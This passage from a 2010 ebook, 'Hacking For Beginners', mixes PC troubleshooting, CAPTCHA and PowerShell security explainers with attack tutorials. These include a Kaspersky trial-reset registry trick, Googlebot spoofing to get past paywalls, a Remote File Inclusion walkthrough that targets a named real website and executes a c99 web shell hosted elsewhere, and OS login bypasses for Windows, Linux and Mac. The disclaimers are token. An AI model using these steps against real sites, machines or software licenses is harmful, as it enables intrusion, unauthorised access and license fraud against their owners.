4252LPT2 Second Parallel printer port.
4253LPT3 Third Parallel printer port.
4254COM2 Second serial communication port.
4255COM3 Third serial communication port.
4256COM4 Fourth serial communication port.
4257Hacking For Beginners – Manthan Desai 2010
4258w w w . h a c k i n g t e c h . c o . t v
4259Page 193
4260If you try creating a folder with any of these names, the name automatically changes back to the default "New Folder”.
4261And this is what has caused the confusion. Instead of automatically renaming the folder, had an explanatory warning
4262message popped up.
4263Yes we can create a folder named CON.
4264There is actually a way to create a folder named CON, or any other name from the above list of reserved keywords. This
4265can be done through command prompt. But it is advisable not to do so, as it might result in your system becoming
4266unstable.
4267To create a folder named CON, go to command prompt and type "MD \\.\E:\CON” (without quotes). This will create a
4268folder named CON in E:. See the screen-shot below.
4269You cannot delete this folder by normal delete. To delete the folder, again go to command prompt and type
4270"RD \\.\E:\CON” without quotes. See the screen-shot below.
4271Hacking For Beginners – Manthan Desai 2010
4272w w w . h a c k i n g t e c h . c o . t v
4273Page 194
4274I’ll again recommend you not to try this on your system, as it might become unstable. In case
4275you can’t stop yourself, don’t do it on a drive on which Windows is installed (generally C:).
4276So next time if any one tells you that we cannot rename a folder to con the create it and show
4277them.
4278Read more:http://www.hackingtech.co.tv/index/how_to_create_a_con_folder_in_windows/0-
427980#ixzz14sMiDwmJ
4280Hacking For Beginners – Manthan Desai 2010
4281w w w . h a c k i n g t e c h . c o . t v
4282Page 195
428335. 10 Reasons why PC’s crash you must know
4284Fatal error: The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete
4285to restart your computer. If you do this you will lose any unsaved information in all open applications."
4286You have just been struck by the Blue Screen of Death. Anyone who uses Microsoft Windows will be familiar with this.
4287What can you do? More importantly, how can you prevent it happening?
42881. Hardware conflict -
4289The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices
4290through an interrupt request channel (IRQ). These are supposed to be unique for each device.
4291For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ
42926. Each device will try to hog a single IRQ for itself.
4293If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number.
4294When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a
4295hardware conflict is through the following route:
4296* Start-Settings-Control Panel-System-Device Manager.
4297Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in
4298the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears
4299twice, two devices may be using it.
4300Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored.
4301The best way to fix this problem is to remove the problem device and reinstall it.
4302Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good
4303resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a
4304different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
4305When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to
4306discharge any static electricity.
4307To be fair to Microsoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC
4308designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out
4309of them. There are plans to increase the number of IRQs in future designs.
4310Hacking For Beginners – Manthan Desai 2010
4311w w w . h a c k i n g t e c h . c o . t v
4312Page 196
43132. Bad RAM -
4314RAM-(random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception
4315Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need
4316replacing.
4317But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram
4318with 60ns Ram will usually force the computer to run the entire Ram at the slower speed. This will often crash the
4319machine if the Ram is overworked.
4320One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more
4321stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take
4322some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the
4323gold connections, as they can be easily damaged.
4324Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not
4325to mix the two types, as this can be a cause of trouble.
4326EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free
4327memory problems often linked to old Dos-based programs.
43283. BIOS settings -
4329Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access
4330these settings is to press the F2 or delete button during the first few seconds of a boot-up.
4331Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that
4332appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what
4333settings to revert to.
4334A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS
4335latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the
4336computer's display.
4337Microsoft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS.
4338This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes'
4339to allow Windows to do this.).
43404. Hard disk drives -
4341After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to
4342defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
4343* Start-Programs-Accessories-System Tools-Disk Defragmenter
4344This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting,
4345so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
4346The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
4347Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimization.
4348This can be adjusted by going to
4349* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
4350Hacking For Beginners – Manthan Desai 2010
4351w w w . h a c k i n g t e c h . c o . t v
4352Page 197
4353Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and
4354free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the
4355contents (not the folder) can free a lot of space.
4356Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad
4357sectors. Go to
4358* Start-Programs-Accessories-System Tools-Scandisk
4359Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
43605. Fatal OE exceptions and VXD errors -
4361Fatal OE exception errors and VXD errors are often caused by video card problems.
4362These can often be resolved easily by reducing the resolution of the video display. Go to
4363* Start-Settings-Control Panel-Display-Settings
4364Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For
4365most desktops, high colour 16-bit depth is adequate.
4366If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a
4367hardware conflict. Go to
4368* Start-Settings-Control Panel-System-Device Manager
4369Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue)
4370and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
4371If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you
4372do in case you make things worse.
4373The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button.
4374You are searching for a setting that will display a No Conflicts message.
4375Another useful way to resolve video problems is to go to
4376* Start-Settings-Control Panel-System-Performance-Graphics
4377Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating
4378to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a
4379device).
4380Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
43816. Viruses -
4382Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it
4383impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
4384* Start-Settings-Control Panel-Add/Remove Programs
4385Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
4386Hacking For Beginners – Manthan Desai 2010
4387w w w . h a c k i n g t e c h . c o . t v
4388Page 198
4389A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a
4390DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
4391An excellent antivirus program is McAfee Virus Scan by Network Associates (www.nai.com). Another is Norton Antivirus
43922000, made by Symantec (www.symantec.com).
43937. Printers -
4394The action of sending a document to print creates a bigger file, often called a postscript file.
4395Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also
4396uses a considerable amount of CPU power. This will also slow down the computer's performance.
4397If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes
4398printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the
4399printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default
4400settings and you may be able to carry on.
44018. Softwares -
4402A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling
4403the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system
4404properly. This will also remove references to the programme in the System Registry and leaves the way clear for a
4405completely fresh copy.
4406The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg
4407Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows
440898, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
4409Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged
4410you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
4411Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the
4412message "Starting Windows" press F4. This should take you into Safe Mode.
4413Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading
4414properly.
4415Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages
4416(Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to
4417disable the Level 2 (L2) cache if that doesn't work.
4418Remember to restore all the BIOS settings back to their former settings following installation.
44199. Overheating -
4420Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it
4421may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that
4422have been over clocked to operate at higher speeds than they are supposed to.
4423One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heat sinks are available
4424from www.computernerd.com or www.coolit.com
4425CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more
4426slowly, but it should also be more stable.
4427Hacking For Beginners – Manthan Desai 2010
4428w w w . h a c k i n g t e c h . c o . t v
4429Page 199
443010. Power supply problems -
4431With all the new construction going on around the country the steady supply of electricity has become disrupted. A power
4432surge or spike can crash a computer as easily as a power cut.
4433If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean
4434power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a
4435power cut.
4436It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
4437Hacking For Beginners – Manthan Desai 2010
4438w w w . h a c k i n g t e c h . c o . t v
4439Page 200
444036. How to use Kaspersky for lifetime
4441How to use Kaspersky for Lifetime without Patch
4442Generally Kaspersky provide us 30 days trial period on its Anti-virus Product. So there are the few steps that you have to
4443perform when your trial license going to expire after 30 days for getting a new trial license.
4444Step 1. Delete old key and turn off self defense (Settings-Options in kaspersky and turn off Enable self-defense, and click
4445OK).
4446Step 2. Open Registry editor (click start in windows menu then go to run and write regedit and click Ok) and go through
4447These:
4448For 32bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ KasperskyLab \ protected \ AVP9 \ environment
4449For 64bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ KasperskyLab \ protected \ AVP9 \ environment
4450Step 3. Right look for PCID and right click and modify three or four last numbers or letters example:
4451(8F10C22F-6EF6-4378-BAB1-34722F6D454)
4452and enter any other three-letter four-number and close the Registry Editor.
4453Step 4. Right click on Kaspersky icon in the task bar and choose exit.
4454Step 5. Go to Start-Programs menu, open the Kaspersky and when you activate searching trial license and you have new
4455license of a peaceful month.
4456Step 6. Go to Kaspersky settings and turn on self-defense.
4457This is hardly a 2 minute job and you got again a trial period of 30 days, and there is no rush for more keys.
4458Note : Most of the patches that you will found on the net are basically work on that trick, they simply make the changes in
4459the registry and change identification of your computer to the Kaspersky server, thus Kaspersky log server recognizes you
4460as a new user and assigns you new trial license.
4461“Patching the antivirus like this is illegal this tutorial is for educational purpose only.”
4462Hacking For Beginners – Manthan Desai 2010
4463w w w . h a c k i n g t e c h . c o . t v
4464Page 201
446537. Disguise as google bot to view hidden data
4466Disguise as Google Bot to view Hidden Content of a Website
4467Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results, but
4468if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the
4469stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first. This means that
4470Google is able to see what a normal surfer cannot see.
4471The reason behind this is that Google uses a Bot called GoogleBot and most of websites which force users to register or
4472even pay in order to search and use their content, leave a backdoor open for the GoogleBot because a prominent
4473presence in Google searches is known to generate sales leads, site hits and exposure. Examples of such sites are Expert-
4474Exchange, Windows Magazine, .Net Magazine, Nature, and many other sites around the globe.
4475What if you could disguise as GoogleBot then you can also see what GoogleBot can.
4476How to Disguise as Google Bot?
4477It is quite simple. You just need to change your browser’s User Agent. To change your Browser’s User Agent follows the
4478steps given below:
4479Step 1:- Copy the following code segment into a notepad file and save it as Useragent.reg .
4480Windows Registry Editor Version 5.00
4481[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
4482@=”Googlebot/2.1″
4483"Compatible”=”+http://www.googlebot.com/bot.html”
4484Step 2:-Now Double-Click on the file Useragent.reg to merge the registry file into your Windows Registry.
4485Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.
4486Step 4:- Viola! You’re done! Now you have become Google Bot.
4487“Direct Download From Here: http://www.hackingtech.co.tv/useragent.reg”
4488Hacking For Beginners – Manthan Desai 2010
4489w w w . h a c k i n g t e c h . c o . t v
4490Page 202
4491How revert back to Normal Agent?
4492For IE users: To restore the IE User Agent, Follow the Given Steps Below:
4493Step 1:- Copy the following code segment into a notepad file and save it as Normalagent.reg .
4494Windows Registry Editor Version 5.00
4495[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
4496@=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
4497Step 2:-Now Double-Click on the file Normalagent.reg to merge the registry file into your Windows Registry.
4498Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.
4499For Opera Users: Opera allows on-the-fly for switching of User Agents through its "Browser Identification” function.
4500For Firefox users: Just download User Agent Switcher extension for Firefox.
4501Step 1:- Now Go to Tools -> User Agent Switcher -> Options -> Options.
4502Step 2:- Click "User Agents.
4503Step 3:- Click” Add” and fill the following information in the form.
4504 Description: GoogleBot
4505 User Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
4506 App Name: GoogleBot
4507 App Version: 5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
4508 Platform: +http://www.google.com/bot.html
4509 Vendor:
4510 Vendor Sub:
4511Step 4:- Click "OK”.
4512Step 5:- Now you may change the user agent on the fly.
4513“Download User Agent Switcher extension for Firefox from Here:
4514https://addons.mozilla.org/en-US/firefox/addon/59 ”
4515“Direct Download From Here: http://www.hackingtech.co.tv/normalagent.reg”
4516“This is For Educational purpose do not hack any website through this.”
4517Hacking For Beginners – Manthan Desai 2010
4518w w w . h a c k i n g t e c h . c o . t v
4519Page 203
452038. How to download Facebook Videos
4521In This Tutorial I Will Explain You How to Download the Facebook Videos from your friends profile easily.
4522Step 1:- First Of all open http://m.facebook.com on your PC browser. (Google Chrome recommended)
4523Step 2:-Then Login to Your Account.
4524Step 3:- After Logging in to your account go The Video page (Fig-1)
4525(Fig-1) (Fig-2)
4526Hacking For Beginners – Manthan Desai 2010
4527w w w . h a c k i n g t e c h . c o . t v
4528Page 204
4529Step 4:- Click on the External Link and a new window Will Open. (Fig-2)
4530Step 5:- Copy The URL of The Window.
4531Step 6:- Now Paste this in the Internet Download Manager, add URL Window.
4532Step 7:- Click OK and You are done the video from your friends profile will be downloaded without any streaming.
4533“Download ‘Internet Download manager’ from here:
4534http://www.internetdownloadmanager.com/download.html
4535”
4536Hacking For Beginners – Manthan Desai 2010
4537w w w . h a c k i n g t e c h . c o . t v
4538Page 205
453939. Hack a website by Remote File Inclusion
4540Another website attack named Remote file inclusion is basically a one of the most common vulnerability found in web
4541application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker
4542gets successful in performing the attack he/she will gain access to the web server and hence can execute any command
4543on it.
4544Searching the Vulnerability
4545Remote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one
4546www.Targetsite.com/index.php?page=Anything
4547To find the vulnerability the hacker will most commonly use the following Google Dork
4548"inurl:index.php?page=”
4549This will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to
4550Remote file Inclusion or not the hacker use the following command
4551www.targetsite.com/index.php?page=www.google.com
4552Let’s say that the target website is http://www.cbspk.com
4553So the hacker URL will become
4554http://www.cbspk.com/v2/index.php?page=http://www.google.com
4555If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if it
4556does not come up then you should look for a new target. In my case after executing the above command in the address
4557bar Google homepage shows up indicating that the website is vulnerable to this attack.
4558Hacking For Beginners – Manthan Desai 2010
4559w w w . h a c k i n g t e c h . c o . t v
4560Page 206
4561Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would
4562use c99 shell.
4563The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc.
4564Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is
4565http://h1.ripway.com/yourdomain/c99.txt
4566Now here is how a hacker would execute the following command to gain access
4567http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/yourdomain/c99.txt?
4568Remember to add "?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he
4569could do anything with it
4570“Download ‘Internet Download manager’ from here: http://www.hackingtech.co.tv/RFI/c99shell.zip “.
4571”
4572“This Tutorial is for educational purpose only please do not hack any website listed here and try to
4573damage their data.
4574Hacking For Beginners – Manthan Desai 2010
4575w w w . h a c k i n g t e c h . c o . t v
4576Page 207
457740. What is CAPTCHA and how it works?
4578CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tell
4579Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by
4580humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end
4581of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of
4582CAPTCHA.
4583Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of
4584what it is and why they are used. So in this post you will find detailed information on how CAPTCHA works and why they
4585are used.
4586What Purpose does CAPTCHA Exactly Serve?
4587CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For
4588example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to
4589ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer
4590bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for
4591a computer, it is almost impossible to solve.
4592What is the Need to Create a Test that Can Tell Computers and Humans Apart?
4593For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious
4594attacks where people try to game the system. Attackers can make use of automated software’s to generate a huge
4595quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a
4596given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their
4597requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from
4598Gmail, Yahoo and Hotmail.
4599Hacking For Beginners – Manthan Desai 2010
4600w w w . h a c k i n g t e c h . c o . t v
4601Page 208
4602Who Uses CAPTCHA?
4603CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Webbased
4604email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up
4605process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.
4606Designing a CAPTCHA System
4607CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing
4608visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is
4609because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting
4610users with an image which contains distorted or randomly stretched characters which only humans should be able to
4611identify. Sometimes characters are striked out or presented with a noisy background to make it even harder for
4612computers to figure out the patterns.
4613Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell
4614humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and
4615one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can
4616easily be solved by any human, but almost impossible for a computer.
4617Breaking the CAPTCHA
4618The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way
4619similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the
4620computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm
4621that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled
4622individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.
4623Hacking For Beginners – Manthan Desai 2010
4624w w w . h a c k i n g t e c h . c o . t v
4625Page 209
462641. Hack Password of any Operating System
4627How to Hack Password of any Operating System
4628Today we will learn how to hack and gain the access of a PCs operating system as one thing any hacker should know is
4629how to hack into login account of any operating system. Major Operating Systems that are used these days are Windows,
4630Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is for
4631someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer
4632password.
4633So let’s start with the common OS
4634Windows -
4635Windows being very popular has a lot of programs available which can be used to hack the login password. One of the
4636most successful programs is Ophcrack, and it is free. Ophcrack is based on Slack ware, and uses rainbow tables to solve
4637passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise
4638needed? None.
4639Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a
4640machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the
4641computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.
4642The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the
4643password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.
4644You can download OphCrack from the following link:
4645http://ophcrack.sourceforge.net
4646There is another hack possible with the same technique using a CD named "Hiren Boot CD" for hacking Windows
4647password.
4648You can download OphCrack from the following link:
4649http://www.hirensbootcd.net/download.html
4650Now Lets Continue With
4651Hacking For Beginners – Manthan Desai 2010
4652w w w . h a c k i n g t e c h . c o . t v
4653Page 210
4654Linux -
4655Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely to
4656come across it. Though Mac and Linux are both based on UNIX, it is easier to change the password in Linux than it is OS X.
4657To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight
4658‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.
4659You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will
4660change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the
4661system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like
4662to alter the password for.
4663And finally hacking the
4664Mac -
4665Finally we take on Mac’s OS X which as we said earlier is based on UNIX and is difficult to change password compared to
4666Linux but nothing is impossible to be hacked.
4667The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows.
4668However, there are other methods that can be used, as demonstrated below.
4669If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up,
4670select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.
4671If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:
4672fsck -fy
4673mount -uw /
4674launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
4675dscl . -passwd /Users/UserName newpassword
4676That’s it. Now that the password is reset, you can login.
4677“This Tutorial is for educational purpose only please do not hack any computer and their OS and
4678try to damage their data.
4679Hacking For Beginners – Manthan Desai 2010
4680w w w . h a c k i n g t e c h . c o . t v
4681Page 211
468242. Windows PowerShell Security in brief
4683First of all the question arises in your mind is that what is
4684Windows PowerShell???
4685Windows PowerShell is Microsoft's task automation framework, consisting of a command-line shell and
4686associated scripting language built on top of, and integrated with, the .NET Framework. PowerShell provides full access
4687to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems.
4688In PowerShell, administrative tasks are generally performed by cmdlets (pronounced command-lets), specialized
4689.NET classes implementing a particular operation. Sets of cmdlets may be combined together
4690in scripts, executables (which are standalone applications), or by instantiating regular .NET classes (or WMI/COM
4691Objects). These work by accessing data in different data stores, like the file system or registry, which are made available
4692to the PowerShell runtime via Windows PowerShell providers.
4693Windows PowerShell also provides a hosting mechanism with which the Windows PowerShell runtime can be embedded
4694inside other applications. These applications then leverage Windows PowerShell functionality to implement certain
4695operations, including those exposed via the graphical interface. This capability has been utilized by Microsoft Exchange
4696Server 2007 to expose its management functionality as PowerShell cmdlets and providers and implement
4697the graphical management tools as PowerShell hosts which invoke the necessary cmdlets. Other Microsoft applications
4698including Microsoft SQL Server 2008 also expose their management interface via PowerShell cmdlets. With PowerShell,
4699graphical interface-based management applications on Windows are layered on top of Windows PowerShell. In the future
4700all Microsoft applications running on the Windows platform are to be PowerShell aware.
4701Windows PowerShell includes its own extensive, console-based help, similar to man pages in UNIX shells via the Get-
4702Help cmdlet.
4703Let us now Study About the built-in PowerShell security features as well as some additional security you can configure
4704once in PowerShell.
4705With all of the effort and sweat that has gone into PowerShell, it had better come with some advanced security. Well, it
4706does! PowerShell is not just your routine scripting language. There are built in security features, as well as some
4707additional security you can configure once in PowerShell.
4708PowerShell Default Security
4709Just getting to the PowerShell interface can be a task for some. Not that this is security related, just that you must be in
4710the PowerShell interface before you can do much of anything. This in itself is security. There are however, some default
4711security measures that are there by design to help ensure that anyone with malicious intent is denied their efforts.
4712Hacking For Beginners – Manthan Desai 2010
4713w w w . h a c k i n g t e c h . c o . t v
4714Page 212
4715What is in a path?
4716The first default security measure that you will encounter is that fact that PowerShell won’t run scripts that are in the
4717current folder. This is so that malicious scripts attempting to intercept cmdlets and command names will fail.
4718For example, if you wanted to run a script named Example.ps1 from the C:\scripts folder, you would need to include the
4719full path to the script, even if you were in the C:\scripts folder within PowerShell. Figure 1 illustrates what happens when
4720you just try to run Example.ps1 without a path.
4721Figure 1: Scripts must include the path to the script to run successfully
4722Now, look at what happens when you run the script including the path to the script, as shown in Figure 2.
4723Figure 2: When the path is included with the script, the script runs without a hitch
4724Why am I Restricted?
4725Another default setting that is directly related to security is the fact that all scripts must be run interactively. This is a
4726security measure that ensures that PowerShell scripts cannot be executed from a script based virus. This means that you
4727must be at the PowerShell interface and run the script in real time for it to function.
4728This default setting is associated with the Execution Policy setting within PowerShell. The Execution Policy by default is set
4729to Restricted, as shown in Figure 3.
4730Figure 3: The Execution Policy by default is set to Restricted to secure the execution of remote PowerShell scripts
4731Hacking For Beginners – Manthan Desai 2010
4732w w w . h a c k i n g t e c h . c o . t v
4733Page 213
4734Going Beyond the Defaults:
4735The default Execution Policy in PowerShell is very secure. It does not allow for any scripts to be run, from anywhere. So,
4736scripts that you create and put on a system won’t run. Scripts that you download from the Internet won’t run. Scripts that
4737you even sign and secure to the nth degree won’t run. Therefore, you will need to reset the level of Execution Policy
4738before you can run your scripts.
4739Setting the Execution Policy Level
4740There are four levels of the Execution Policy. These four levels provide you with great security over what scripts can run
4741and what requirements need to be associated with the script to run. The four levels and the requirements include:
4742Restricted
4743This is the default configuration in PowerShell. This setting means that no script can run, regardless of its signature. The
4744only things that can be run in PowerShell with this setting are individual commands.
4745All Signed
4746This setting does allow scripts to run in PowerShell. The script must have an associated digital signature from a trusted
4747publisher. There will be a prompt before you run the scripts from trusted publishers. This exposes you to running signed,
4748but malicious, scripts.
4749Remote Signed
4750This setting allows scripts to be run, but requires that the script and configuration files that are downloaded from the
4751Internet have an associated digital signature from a trusted publisher. Scripts run from local computer don’t need to be
4752signed. There are no prompts before running the script. Still exposes you to scripts that are signed, yet malicious.
4753Unrestricted
4754This is not a suggested setting! This allows unsigned scripts to run, including all scripts and configuration files downloaded
4755from the Internet. This will include files from Outlook and Messenger. The risk here is running scripts without any
4756signature or security.
4757To set anyone of these levels, just type set-execution policy <level>, as shown in Figure 4.
4758Figure 4: Setting the Execution Policy is as easy as running the set-execution policy command.
4759Using Group Policy
4760PowerShell is great, but if scripts can’t run on computers in your environment, it does have limitations. First, you must get
4761PowerShell on each computer. Since PowerShell is installed via an EXE, it is very easy to install the application. You can
4762either use a ZAP file or push it out using Group Policy, or you can use your current centralized method of installing
4763applications. Keep in mind that PowerShell is considered a hot fix, so Windows Update can also push out the installation
4764of PowerShell.
4765Hacking For Beginners – Manthan Desai 2010
4766w w w . h a c k i n g t e c h . c o . t v
4767Page 214
4768After you get PowerShell installed, we just investigated that you need to enable scripts to run. With the Execution Policy
4769set at Restricted as a default, you need to configure every computer to run scripts, that will run scripts. This could take
4770days if you are trying to do this manually.
4771However, you can also use Group Policy to get this done for you. Of course, you could create your own Administrative
4772Template (ADM file) to make this change, or download the ADM template that Microsoft provides for you. I suggest you
4773do the latter by downloading the ADM template.
4774After downloading, you will need to install the MSI. I will admit, it is not the cleanest or most efficient install. After
4775installation, the ADM file is shoved under the C:\program files\Microsoft Group Policy folder. If nothing else, this is great
4776security! The file you need to import into the Group Policy Object Editor is Power Shell Extension Policy. ADM After
4777importing, you will have two new nodes in your Group Policy Object. One will be at Computer
4778Configuration\Administrative Templates\Windows Components\Windows PowerShell and the other at User
4779Configuration\Administrative Templates\Windows Components\Windows PowerShell, as shown in Figure 5.
4780Figure 5: PowerShell ADM template adds settings to Computer Configuration and User Configuration for script execution
4781When you go to configure this policy, you will see that you have three options for a setting, as shown in Figure 6.
4782Hacking For Beginners – Manthan Desai 2010
